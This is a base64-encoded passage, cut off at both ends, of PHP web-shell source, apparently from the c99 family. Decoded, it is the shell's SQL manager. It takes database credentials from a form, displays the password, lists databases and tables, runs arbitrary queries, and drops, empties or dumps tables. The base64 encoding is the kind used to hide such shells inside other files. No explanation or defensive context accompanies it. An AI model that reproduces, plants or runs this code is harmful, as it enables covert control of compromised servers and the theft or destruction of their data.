nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEwMCVcIiBiZ0NvbG9yPSMwMDMzMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQgd2lkdGg9XCIxMDAlXCIgdmFsaWduPVwidG9wXCI+IjsNCmlmICgkYWN0ID09ICIiKSB7JGFjdCA9ICRkc3BhY3QgPSAibHMiO30NCmlmICgkYWN0ID09ICJzcWwiKQ0Kew0KIGVjaG8oIjxmb3JtIG5hbWU9J3NxbCcgbWV0aG9kPSdQT1NUJz48aW5wdXQgbmFtZT0nYWN0JyB0eXBlPSdoaWRkZW4nIHZhbHVlPSdzcWwnPjxpbnB1dCBuYW1lPSdzcWxfdGJsX2luc2VydF9xJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdzcWxfbG9naW4nIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J2tpbGwnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J3NxbF9vcmRlcicgdHlwZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0nc3FsX3RibF9scycgdHlwZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0nc3FsX3RibF9sZScgdHlwZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0nc3FsX3RibF9hY3QnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J3RoaXN0YmwnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J3NxbF9wYXNzd2QnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J3NxbF9zZXJ2ZXInIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J3NxbF9wb3J0JyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdzcWxfZGInIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J3NxbF9hY3QnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J3NxbF90YmwnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J2YnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J2Z0JyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdzcWxfcXVlcnknIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PC9mb3JtPiIpOw0KDQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX2xvZ2luJ10pKSAgeyRzcWxfbG9naW49aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9sb2dpbiddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX3Bhc3N3ZCddKSkgeyRzcWxfcGFzc3dkPWh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfcGFzc3dkJ10pO30NCiBpZiAoaXNzZXQoJF9QT1NUWydzcWxfc2VydmVyJ10pKSB7JHNxbF9zZXJ2ZXI9aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9zZXJ2ZXInXSk7fQ0KIGlmIChpc3NldCgkX1BPU1RbJ3NxbF9wb3J0J10pKSAgIHskc3FsX3BvcnQ9aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9wb3J0J10pO30NCiBpZiAoaXNzZXQoJF9QT1NUWydzcWxfZGInXSkpICAgICB7JHNxbF9kYj1odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2RiJ10pO30NCiBpZiAoaXNzZXQoJF9QT1NUWydzcWxfYWN0J10pKSAgICAgeyRzcWxfYWN0PWh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfYWN0J10pO30NCiBpZiAoaXNzZXQoJF9QT1NUWydzcWxfdGJsJ10pKSAgICAgeyRzcWxfdGJsPWh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfdGJsJ10pO30NCiBpZiAoaXNzZXQoJF9QT1NUWydzcWxfdGJsX2FjdCddKSkgICAgIHskc3FsX3RibF9hY3Q9aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF90YmxfYWN0J10pO30NCiBpZiAoaXNzZXQoJF9QT1NUWyd0aGlzdGJsJ10pKSAgICAgeyR0aGlzdGJsPWh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWyd0aGlzdGJsJ10pO30NCiBpZiAoaXNzZXQoJF9QT1NUWydzcWxfb3JkZXInXSkpICAgICB7JHNxbF9vcmRlcj1odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX29yZGVyJ10pO30NCiBpZiAoaXNzZXQoJF9QT1NUWydzcWxfdGJsX2xzJ10pKSAgICAgeyRzcWxfdGJsX2xzPWh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfdGJsX2xzJ10pO30NCiBpZiAoaXNzZXQoJF9QT1NUWydzcWxfdGJsX2xlJ10pKSAgICAgeyRzcWxfdGJsX2xlPWh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfdGJsX2xlJ10pO30NCiBpZiAoaXNzZXQoJF9QT1NUWydzcWxfcXVlcnknXSkpICAgICB7JHNxbF9xdWVyeT1odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3F1ZXJ5J10pO30NCiBpZiAoaXNzZXQoJF9QT1NUWydzcWxfdGJsX2luc2VydF9xJ10pKSB7JHNxbF90YmxfaW5zZXJ0X3E9dXJsZGVjb2RlKGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfdGJsX2luc2VydF9xJ10pKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX3RibF9pbnNlcnRfZnVuY3RzJ10pKSB7JHNxbF90YmxfaW5zZXJ0X2Z1bmN0cz1odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3RibF9pbnNlcnRfZnVuY3RzJ10pO30NCiBpZiAoaXNzZXQoJF9QT1NUWydzcWxfdGJsX2luc2VydF9yYWRpbyddKSkgeyRzcWxfdGJsX2luc2VydF9yYWRpbz1odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3RibF9pbnNlcnRfcmFkaW8nXSk7fQ0KDQoNCg0KID8+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzAwMzMwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTEgYm9yZGVyY29sb3I9IiNDMEMwQzAiPjx0cj48dGQgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSIgY29sc3Bhbj0iMiIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PD9waHANCiBpZiAoJHNxbF9zZXJ2ZXIpDQogew0KICAkc3FsX3NvY2sgPSBteXNxbF9jb25uZWN0KCRzcWxfc2VydmVyLiI6Ii4kc3FsX3BvcnQsICRzcWxfbG9naW4sICRzcWxfcGFzc3dkKTsNCiAgJGVyciA9IG15c3FsX3NtYXJ0ZXJyb3IoKTsNCiAgQG15c3FsX3NlbGVjdF9kYigkc3FsX2RiLCRzcWxfc29jayk7DQogIGlmICgkc3FsX3F1ZXJ5IGFuZCAkc3VibWl0KSB7JHNxbF9xdWVyeV9yZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5LCRzcWxfc29jayk7ICRzcWxfcXVlcnlfZXJyb3IgPSBteXNxbF9zbWFydGVycm9yKCk7fQ0KIH0NCiBlbHNlIHskc3FsX3NvY2sgPSBGQUxTRTt9DQogZWNobyAiPGI+U1FMIE1hbmFnZXI6PC9iPjxicj4iOw0KIGlmICghJHNxbF9zb2NrKQ0KIHsNCiAgaWYgKCEkc3FsX3NlcnZlcikge2VjaG8gIk5PIENPTk5FQ1RJT04iO30NCiAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5DYW4ndCBjb25uZWN0PC9iPjwvY2VudGVyPiI7IGVjaG8gIjxiPiIuJGVyci4iPC9iPiI7fQ0KIH0NCiBlbHNlDQogew0KICAkc3FscXVpY2tsYXVuY2ggPSBhcnJheSgpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJJbmRleCIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuc3FsLmFjdC52YWx1ZT0nc3FsJztkb2N1bWVudC5zcWwuc3FsX2xvZ2luLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wYXNzd2QudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9zZXJ2ZXIudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wb3J0LnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJztkb2N1bWVudC5zcWwuc3VibWl0KCk7Iik7DQogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlF1ZXJ5IiwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5zcWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNxbC5zcWxfYWN0LnZhbHVlPSdxdWVyeSc7ZG9jdW1lbnQuc3FsLnNxbF9kYi52YWx1ZT0nIi51cmxlbmNvZGUoJHNxbF9kYikuIic7ZG9jdW1lbnQuc3FsLnNxbF90YmwudmFsdWU9JyIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJztkb2N1bWVudC5zcWwuc3FsX2xvZ2luLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wYXNzd2QudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9zZXJ2ZXIudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wb3J0LnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJztkb2N1bWVudC5zcWwuc3VibWl0KCk7Iik7DQogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlNlcnZlci1zdGF0dXMiLCIjXCIgb25jbGljaz1cImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnNxbF9sb2dpbi52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiInO2RvY3VtZW50LnNxbC5zcWxfcGFzc3dkLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiInO2RvY3VtZW50LnNxbC5zcWxfc2VydmVyLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiInO2RvY3VtZW50LnNxbC5zcWxfcG9ydC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9hY3QudmFsdWU9J3NlcnZlcnN0YXR1cyc7ZG9jdW1lbnQuc3FsLnN1Ym1pdCgpOyIpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJTZXJ2ZXIgdmFyaWFibGVzIiwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5zcWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNxbC5zcWxfbG9naW4udmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1bWVudC5zcWwuc3FsX3Bhc3N3ZC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJztkb2N1bWVudC5zcWwuc3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJztkb2N1bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiInO2RvY3VtZW50LnNxbC5zcWxfYWN0LnZhbHVlPSdzZXJ2ZXJ2YXJzJztkb2N1bWVudC5zcWwuc3VibWl0KCk7Iik7DQogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlByb2Nlc3NlcyIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuc3FsLmFjdC52YWx1ZT0nc3FsJztkb2N1bWVudC5zcWwuc3FsX2xvZ2luLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wYXNzd2QudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9zZXJ2ZXIudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wb3J0LnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJztkb2N1bWVudC5zcWwuc3FsX2FjdC52YWx1ZT0ncHJvY2Vzc2VzJztkb2N1bWVudC5zcWwuc3VibWl0KCk7Iik7DQogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIkxvZ291dCIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuc3FsLmFjdC52YWx1ZT0nc3FsJztkb2N1bWVudC5zcWwuc3VibWl0KCk7Iik7DQogIGVjaG8gIjxjZW50ZXI+PGI+TXlTUUwgIi5teXNxbF9nZXRfc2VydmVyX2luZm8oKS4iIChwcm90byB2LiIubXlzcWxfZ2V0X3Byb3RvX2luZm8gKCkuIikgcnVubmluZyBpbiAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiI6Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiBhcyAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIkAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiIgKHBhc3N3b3JkIC0gXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIik8L2I+PGJyPiI7DQogIGlmIChjb3VudCgkc3FscXVpY2tsYXVuY2gpID4gMCkge2ZvcmVhY2goJHNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKSB7ZWNobyAiWyA8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+PGI+Ii4kaXRlbVswXS4iPC9iPjwvYT4gXSAiO319DQogIGVjaG8gIjwvY2VudGVyPiI7DQogfQ0KIGVjaG8gIjwvdGQ+PC90cj48dHI+IjsNCiBpZiAoISRzcWxfc29jaykgez8+PHRkIHdpZHRoPSIyOCUiIGhlaWdodD0iMTAwIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Zm9udCBzaXplPSI1Ij4gaSA8L2ZvbnQ+PC9jZW50ZXI+PGxpPklmIGxvZ2luIGlzIG51bGwsIGxvZ2luIGlzIG93bmVyIG9mIHByb2Nlc3MuPGxpPklmIGhvc3QgaXMgbnVsbCwgaG9zdCBpcyBsb2NhbGhvc3Q8L2I+PGxpPklmIHBvcnQgaXMgbnVsbCwgcG9ydCBpcyAzMzA2IChkZWZhdWx0KTwvdGQ+PHRkIHdpZHRoPSI5MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxUQUJMRSBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgd2lkdGg9IjEwMCUiIGJvcmRlcj0wPjx0cj48dGQ+Jm5ic3A7PGI+UGxlYXNlLCBmaWxsIHRoZSBmb3JtOjwvYj48dGFibGU+PHRyPjx0ZD48Yj5Vc2VybmFtZTwvYj48L3RkPjx0ZD48Yj5QYXNzd29yZDwvYj4mbmJzcDs8L3RkPjx0ZD48Yj5EYXRhYmFzZTwvYj4mbmJzcDs8L3RkPjwvdHI+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiIgbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjx0cj48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9InJvb3QiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9IiIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9kYiIgdmFsdWU9IiIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48L3RyPjx0cj48dGQ+PGI+SG9zdDwvYj48L3RkPjx0ZD48Yj5QT1JUPC9iPjwvdGQ+PC90cj48dHI+PHRkIGFsaWduPXJpZ2h0PjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0ibG9jYWxob3N0IiBtYXhsZW5ndGg9IjY0Ij48L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSIzMzA2IiBtYXhsZW5ndGg9IjYiIHNpemU9IjMiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC90ZD48P3BocCB9DQogZWxzZQ0KIHsNCiAgLy9TdGFydCBsZWZ0IHBhbmVsDQogIGlmICghZW1wdHkoJHNxbF9kYikpDQogIHsNCiAgID8+PHRkIHdpZHRoPSIyNSUiIGhlaWdodD0iMTAwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnNxbF9sb2dpbi52YWx1ZT0nPD9lY2hvIChodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pKSA/Pic7ZG9jdW1lbnQuc3FsLnNxbF9wYXNzd2QudmFsdWU9Jzw/ZWNobyAoaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkpID8+Jztkb2N1bWVudC5zcWwuc3FsX3NlcnZlci52YWx1ZT0nPD9lY2hvIChodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKSkgPz4nO2RvY3VtZW50LnNxbC5zcWxfcG9ydC52YWx1ZT0nPD9lY2hvIChodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkpID8+Jztkb2N1bWVudC5zcWwuc3VibWl0KCk7Ij48Yj5Ib21lPC9iPjwvYT48aHIgc2l6ZT0iMSIgbm9zaGFkZT48P3BocA0KICAgJHJlc3VsdCA9IG15c3FsX2xpc3RfdGFibGVzKCRzcWxfZGIpOw0KICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQ0KICAgZWxzZQ0KICAgew0KICAgIGVjaG8gIi0tLVsgPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuc3FsLmFjdC52YWx1ZT0nc3FsJztkb2N1bWVudC5zcWwuc3FsX2RiLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIic7ZG9jdW1lbnQuc3FsLnNxbF9sb2dpbi52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiInO2RvY3VtZW50LnNxbC5zcWxfcGFzc3dkLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiInO2RvY3VtZW50LnNxbC5zcWxfc2VydmVyLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiInO2RvY3VtZW50LnNxbC5zcWxfcG9ydC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIic7ZG9jdW1lbnQuc3FsLnN1Ym1pdCgpO1wiPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iPC9iPjwvYT4gXS0tLTxicj4iOw0KICAgICRjID0gMDsNCiAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7JGNvdW50ID0gbXlzcWxfcXVlcnkgKCJTRUxFQ1QgQ09VTlQoKikgRlJPTSAiLiRyb3dbMF0pOyAkY291bnRfcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGNvdW50KTsgZWNobyAiPGI+uyZuYnNwOzxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnNxbF9sb2dpbi52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiInO2RvY3VtZW50LnNxbC5zcWxfcGFzc3dkLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiInO2RvY3VtZW50LnNxbC5zcWxfc2VydmVyLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiInO2RvY3VtZW50LnNxbC5zcWxfcG9ydC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9kYi52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiInO2RvY3VtZW50LnNxbC5zcWxfdGJsLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHJvd1swXSkuIic7ZG9jdW1lbnQuc3FsLnN1Ym1pdCgpO1wiPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkcm93WzBdKS4iPC9iPjwvYT4gKCIuJGNvdW50X3Jvd1swXS4iKTwvYnI+PC9iPiI7IG15c3FsX2ZyZWVfcmVzdWx0KCRjb3VudCk7ICRjKys7fQ0KICAgIGlmICghJGMpIHtlY2hvICJObyB0YWJsZXMgZm91bmQgaW4gZGF0YWJhc2UuIjt9DQogICB9DQogIH0NCiAgZWxzZQ0KICB7DQogICA/Pjx0ZCB3aWR0aD0iMSIgaGVpZ2h0PSIxMDAiIHZhbGlnbj0idG9wIj48YSBocmVmPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOyA/PiI+PGI+SG9tZTwvYj48L2E+PGhyIHNpemU9IjEiIG5vc2hhZGU+PD9waHANCiAgICRyZXN1bHQgPSBteXNxbF9saXN0X2Ricygkc3FsX3NvY2spOw0KICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQ0KICAgZWxzZQ0KICAgew0KICAgID8+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PHNlbGVjdCBuYW1lPSJzcWxfZGIiPjw/cGhwDQogICAgJGMgPSAwOw0KICAgICRkYnMgPSAiIjsNCiAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcmVzdWx0KSkgeyRkYnMgLj0gIjxvcHRpb24gdmFsdWU9XCIiLiRyb3dbMF0uIlwiIjsgaWYgKCRzcWxfZGIgPT0gJHJvd1swXSkgeyRkYnMgLj0gIiBzZWxlY3RlZCI7fSAkZGJzIC49ICI+Ii4kcm93WzBdLiI8L29wdGlvbj4iOyAkYysrO30NCiAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+RGF0YWJhc2VzICgiLiRjLiIpPC9vcHRpb24+IjsNCiAgICBlY2hvICRkYnM7DQogICB9DQogICA/Pjwvc2VsZWN0PjxociBzaXplPSIxIiBub3NoYWRlPlBsZWFzZSwgc2VsZWN0IGRhdGFiYXNlPGhyIHNpemU9IjEiIG5vc2hhZGU+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIj48L2Zvcm0+PD9waHANCiAgfQ0KICAvL0VuZCBsZWZ0IHBhbmVsDQogIGVjaG8gIjwvdGQ+PHRkIHdpZHRoPVwiMTAwJVwiIGhlaWdodD1cIjFcIiB2YWxpZ249XCJ0b3BcIj4iOw0KICAvL1N0YXJ0IGNlbnRlciBwYW5lbA0KICAkZGlwbGF5ID0gVFJVRTsNCiAgaWYgKCRzcWxfZGIpDQogIHsNCiAgIGlmICghaXNfbnVtZXJpYygkYykpIHskYyA9IDA7fQ0KICAgaWYgKCRjID09IDApIHskYyA9ICJubyI7fQ0KICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Y2VudGVyPjxiPlRoZXJlIGFyZSAiLiRjLiIgdGFibGUocykgaW4gdGhpcyBEQiAoIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiIpLjxicj4iOw0KICAgaWYgKGNvdW50KCRkYnF1aWNrbGF1bmNoKSA+IDApIHtmb3JlYWNoKCRkYnNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKSB7ZWNobyAiWyA8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4kaXRlbVswXS4iPC9hPiBdICI7fX0NCiAgIGVjaG8gIjwvYj48L2NlbnRlcj4iOw0KICAgJGFjdHMgPSBhcnJheSgiIiwiZHVtcCIpOw0KICAgaWYgKCRzcWxfYWN0ID09ICJ0Ymxkcm9wIikgeyRzcWxfcXVlcnkgPSAiRFJPUCBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQ0KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsZW1wdHkiKSB7JHNxbF9xdWVyeSA9ICIiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJERUxFVEUgRlJPTSBgIi4kdi4iYCBcbiI7fSAkc3FsX2FjdCA9ICJxdWVyeSI7fQ0KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsZHVtcCIpIHtpZiAoY291bnQoJGJveHRibCkgPiAwKSB7JGRtcHRibHMgPSAkYm94dGJsO30gZWxzZWlmKCR0aGlzdGJsKSB7JGRtcHRibHMgPSBhcnJheSgkc3FsX3RibCk7fSAkc3FsX2FjdCA9ICJkdW1wIjt9DQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxjaGVjayIpIHskc3FsX3F1ZXJ5ID0gIkNIRUNLIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9DQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxvcHRpbWl6ZSIpIHskc3FsX3F1ZXJ5ID0gIk9QVElNSVpFIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9DQogICBlbHNlaWYgKCRzcWx